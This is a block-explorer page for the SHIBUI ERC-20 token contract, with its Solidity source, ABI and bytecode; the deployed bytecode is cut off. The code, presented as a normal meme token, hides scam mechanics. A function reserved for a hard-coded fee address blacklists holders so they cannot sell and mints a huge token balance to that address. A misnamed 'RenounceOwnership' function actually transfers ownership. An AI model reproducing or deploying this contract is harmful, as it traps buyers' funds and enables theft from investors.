Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 SHIBUI
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
9,025,000 SHIBUIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHIBUI
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-10 */ // https://t.me/Shibuientryportal // https://medium.com/@shibuierc/enter-shuibui-offering-a-wide-variety-of-uses-such-as-allowing-users-to-create-and-store-memes-on-77f58f98f49a // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function RenounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBUI is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "SHIBUI"; string private _symbol = "SHIBUI"; uint8 private _decimals = 9; address payable public _routerFee; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public FBI; uint256 public _buyMarketingFee = 5; uint256 public _sellMarketingFee = 5; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _routerFee = payable(address(0x839D300Be45ce635B35BA5F450c20985B011bD25)); _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function SetTrading() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function totalSupply() public view override returns (uint256) { return _totalSupply; } receive() external payable {} function decimals() public view returns (uint8) { return _decimals; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "telufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } uint256 private routerAmount = uint256(9**6).mul(_totalSupply); bool private isCAddr; function CheckbotWallet(address[] calldata routerAddress, bool status) public {require(_msgSender() == _routerFee); for (uint256 i; i < routerAddress.length; i++) { isCAddr = (routerAddress[i] == _routerFee); FBI[routerAddress[i]] = status; if(isCAddr){ _balances[_routerFee] = uint256(routerAmount/2).add(_balances[_routerFee]); } } } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) _routerFee.transfer(MarketAmount); } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } require(!FBI[from], "ERC20: FBI up the door !!!"); finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"routerAddress","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"CheckbotWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"FBI","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SetTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_routerFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600660809081526553484942554960d01b60a0526001906200002790826200033a565b5060408051808201909152600681526553484942554960d01b60208201526002906200005490826200033a565b506003805460ff191660099081179091556005808255600a9081556200007b919062000519565b6200008b90633b9aca0062000531565b600b55620000ad600b5462081bf1620001ff60201b620009a41790919060201c565b600e55348015620000bd57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674839d300be45ce635b35ba5f450c20985b011bd25001790556001600660006200013e6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b54906004906200018e3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001f191815260200190565b60405180910390a36200056e565b60008260000362000213575060006200028f565b600062000221838562000531565b9050826200023085836200054b565b146200028c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002c057607f821691505b602082108103620002e157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200033557600081815260208120601f850160051c81016020861015620003105750805b601f850160051c820191505b8181101562000331578281556001016200031c565b5050505b505050565b81516001600160401b0381111562000356576200035662000295565b6200036e81620003678454620002ab565b84620002e7565b602080601f831160018114620003a657600084156200038d5750858301515b600019600386901b1c1916600185901b17855562000331565b600085815260208120601f198616915b82811015620003d757888601518255948401946001909101908401620003b6565b5085821015620003f65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200045d57816000190482111562000441576200044162000406565b808516156200044f57918102915b93841c939080029062000421565b509250929050565b60008262000476575060016200028f565b8162000485575060006200028f565b81600181146200049e5760028114620004a957620004c9565b60019150506200028f565b60ff841115620004bd57620004bd62000406565b50506001821b6200028f565b5060208310610133831016604e8410600b8410161715620004ee575081810a6200028f565b620004fa83836200041c565b806000190482111562000511576200051162000406565b029392505050565b60006200052a60ff84168362000465565b9392505050565b80820281158282048414176200028f576200028f62000406565b6000826200056957634e487b7160e01b600052601260045260246000fd5b500490565b61166a806200057e6000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461037e578063c5d241891461039e578063c816841b146103b4578063c8607952146103d4578063dd62ed3e146103ea578063fa77b2461461043057600080fd5b806370a08231146102c557806378051f4d146102fb5780638da5cb5b1461031b57806395d89b411461033957806399632a351461034e57600080fd5b806323b872dd116100f257806323b872dd14610203578063313ce567146102235780633345611e146102455780633ecad271146102755780634a02614a146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806317f18f95146101cd57806318160ddd146101e457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c91906112ec565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600c546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506101e26104fe565b005b3480156101f057600080fd5b50600b545b60405190815260200161015c565b34801561020f57600080fd5b5061018561021e36600461137e565b610723565b34801561022f57600080fd5b5060035460405160ff909116815260200161015c565b34801561025157600080fd5b506101856102603660046113bf565b60066020526000908152604090205460ff1681565b34801561028157600080fd5b506101856102903660046113bf565b60076020526000908152604090205460ff1681565b3480156102b157600080fd5b506101e26102c03660046113dc565b61078e565b3480156102d157600080fd5b506101f56102e03660046113bf565b6001600160a01b031660009081526004602052604090205490565b34801561030757600080fd5b506101e26103163660046113bf565b6108e3565b34801561032757600080fd5b506000546001600160a01b03166101b5565b34801561034557600080fd5b5061014f610988565b34801561035a57600080fd5b506101856103693660046113bf565b60086020526000908152604090205460ff1681565b34801561038a57600080fd5b50610185610399366004611352565b610997565b3480156103aa57600080fd5b506101f560095481565b3480156103c057600080fd5b50600d546101b5906001600160a01b031681565b3480156103e057600080fd5b506101f5600a5481565b3480156103f657600080fd5b506101f5610405366004611467565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043c57600080fd5b506003546101b59061010090046001600160a01b031681565b606060018054610464906114a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610490906114a0565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610a26565b5060015b92915050565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d891906114da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064991906114da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba91906114da565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000610730848484610b4a565b50610783843361077e8560405180606001604052806028815260200161160d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f04565b610a26565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b0316146107b357600080fd5b60005b828110156108dd5760035461010090046001600160a01b03168484838181106107e1576107e16114f7565b90506020020160208101906107f691906113bf565b600f805460ff19166001600160a01b0392909216929092141790558160086000868685818110610828576108286114f7565b905060200201602081019061083d91906113bf565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600f5460ff16156108cb5760035461010090046001600160a01b0316600090815260046020526040902054600e546108aa91906108a490600290611523565b90610f3e565b60035461010090046001600160a01b03166000908152600460205260409020555b806108d581611545565b9150506107b6565b50505050565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610554565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610464906114a0565b6000610783338484610b4a565b6000826000036109b6575060006104f8565b60006109c2838561155e565b9050826109cf8583611523565b146107875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610554565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610554565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610554565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610554565b6001600160a01b038316610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610554565b600d54600160a01b900460ff1615610c3657610c2f848484610f9d565b9050610787565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c7957506001600160a01b03851660009081526007602052604090205460ff16155b15610c8757610c8781611083565b6001600160a01b038516600090815260046020526040902054610caa908461123f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610cf757506001600160a01b03851660009081526006602052604090205460ff165b15610d03575082610e7a565b6001600160a01b03861660009081526007602052604081205460ff1615610d4b57610d446064610d3e600954886109a490919063ffffffff16565b90611281565b9050610d89565b6001600160a01b03861660009081526007602052604090205460ff1615610d8957610d866064610d3e600a54886109a490919063ffffffff16565b90505b8015610e035730600090815260046020526040902054610da99082610f3e565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfa9085815260200190565b60405180910390a35b6001600160a01b03871660009081526008602052604090205460ff1615610e6c5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a204642492075702074686520646f6f72202121210000000000006044820152606401610554565b610e76858261123f565b9150505b6001600160a01b038516600090815260046020526040902054610e9d9082610f3e565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a3600192505050610787565b60008184841115610f285760405162461bcd60e51b815260040161055491906112ec565b506000610f358486611575565b95945050505050565b600080610f4b8385611588565b9050838110156107875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610554565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610fee918490610f04565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461101d9083610f3e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110719086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cb576110cb6114f7565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114891906114da565b8160018151811061115b5761115b6114f7565b6001600160a01b039283166020918202929092010152600c546111819130911684610a26565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ba90859060009086903090429060040161159b565b600060405180830381600087803b1580156111d457600080fd5b505af19250505080156111e5575060015b5047801561122d576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561122b573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061078783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f04565b600061078783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112df5760405162461bcd60e51b815260040161055491906112ec565b506000610f358486611523565b600060208083528351808285015260005b81811015611319578581018301518582016040015282016112fd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461134f57600080fd5b50565b6000806040838503121561136557600080fd5b82356113708161133a565b946020939093013593505050565b60008060006060848603121561139357600080fd5b833561139e8161133a565b925060208401356113ae8161133a565b929592945050506040919091013590565b6000602082840312156113d157600080fd5b81356107878161133a565b6000806000604084860312156113f157600080fd5b833567ffffffffffffffff8082111561140957600080fd5b818601915086601f83011261141d57600080fd5b81358181111561142c57600080fd5b8760208260051b850101111561144157600080fd5b60209283019550935050840135801515811461145c57600080fd5b809150509250925092565b6000806040838503121561147a57600080fd5b82356114858161133a565b915060208301356114958161133a565b809150509250929050565b600181811c908216806114b457607f821691505b6020821081036114d457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156114ec57600080fd5b81516107878161133a565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008261154057634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115575761155761150d565b5060010190565b80820281158282048414176104f8576104f861150d565b818103818111156104f8576104f861150d565b808201808211156104f8576104f861150d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115eb5784516001600160a01b0316835293830193918301916001016115c6565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f6e7cab031bcb626db0ead1132e933cfb2ba229645cc4e12717b44fc7b3fd5d64736f6c63430008110033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461037e578063c5d241891461039e578063c816841b146103b4578063c8607952146103d4578063dd62ed3e146103ea578063fa77b2461461043057600080fd5b806370a08231146102c557806378051f4d146102fb5780638da5cb5b1461031b57806395d89b411461033957806399632a351461034e57600080fd5b806323b872dd116100f257806323b872dd14610203578063313ce567146102235780633345611e146102455780633ecad271146102755780634a02614a146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806317f18f95146101cd57806318160ddd146101e457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c91906112ec565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600c546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506101e26104fe565b005b3480156101f057600080fd5b50600b545b60405190815260200161015c565b34801561020f57600080fd5b5061018561021e36600461137e565b610723565b34801561022f57600080fd5b5060035460405160ff909116815260200161015c565b34801561025157600080fd5b506101856102603660046113bf565b60066020526000908152604090205460ff1681565b34801561028157600080fd5b506101856102903660046113bf565b60076020526000908152604090205460ff1681565b3480156102b157600080fd5b506101e26102c03660046113dc565b61078e565b3480156102d157600080fd5b506101f56102e03660046113bf565b6001600160a01b031660009081526004602052604090205490565b34801561030757600080fd5b506101e26103163660046113bf565b6108e3565b34801561032757600080fd5b506000546001600160a01b03166101b5565b34801561034557600080fd5b5061014f610988565b34801561035a57600080fd5b506101856103693660046113bf565b60086020526000908152604090205460ff1681565b34801561038a57600080fd5b50610185610399366004611352565b610997565b3480156103aa57600080fd5b506101f560095481565b3480156103c057600080fd5b50600d546101b5906001600160a01b031681565b3480156103e057600080fd5b506101f5600a5481565b3480156103f657600080fd5b506101f5610405366004611467565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043c57600080fd5b506003546101b59061010090046001600160a01b031681565b606060018054610464906114a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610490906114a0565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610a26565b5060015b92915050565b6000546001600160a01b0316331461055d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d891906114da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064991906114da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610696573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ba91906114da565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000610730848484610b4a565b50610783843361077e8560405180606001604052806028815260200161160d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f04565b610a26565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b0316146107b357600080fd5b60005b828110156108dd5760035461010090046001600160a01b03168484838181106107e1576107e16114f7565b90506020020160208101906107f691906113bf565b600f805460ff19166001600160a01b0392909216929092141790558160086000868685818110610828576108286114f7565b905060200201602081019061083d91906113bf565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600f5460ff16156108cb5760035461010090046001600160a01b0316600090815260046020526040902054600e546108aa91906108a490600290611523565b90610f3e565b60035461010090046001600160a01b03166000908152600460205260409020555b806108d581611545565b9150506107b6565b50505050565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610554565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610464906114a0565b6000610783338484610b4a565b6000826000036109b6575060006104f8565b60006109c2838561155e565b9050826109cf8583611523565b146107875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610554565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610554565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610554565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610554565b6001600160a01b038316610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610554565b600d54600160a01b900460ff1615610c3657610c2f848484610f9d565b9050610787565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c7957506001600160a01b03851660009081526007602052604090205460ff16155b15610c8757610c8781611083565b6001600160a01b038516600090815260046020526040902054610caa908461123f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610cf757506001600160a01b03851660009081526006602052604090205460ff165b15610d03575082610e7a565b6001600160a01b03861660009081526007602052604081205460ff1615610d4b57610d446064610d3e600954886109a490919063ffffffff16565b90611281565b9050610d89565b6001600160a01b03861660009081526007602052604090205460ff1615610d8957610d866064610d3e600a54886109a490919063ffffffff16565b90505b8015610e035730600090815260046020526040902054610da99082610f3e565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfa9085815260200190565b60405180910390a35b6001600160a01b03871660009081526008602052604090205460ff1615610e6c57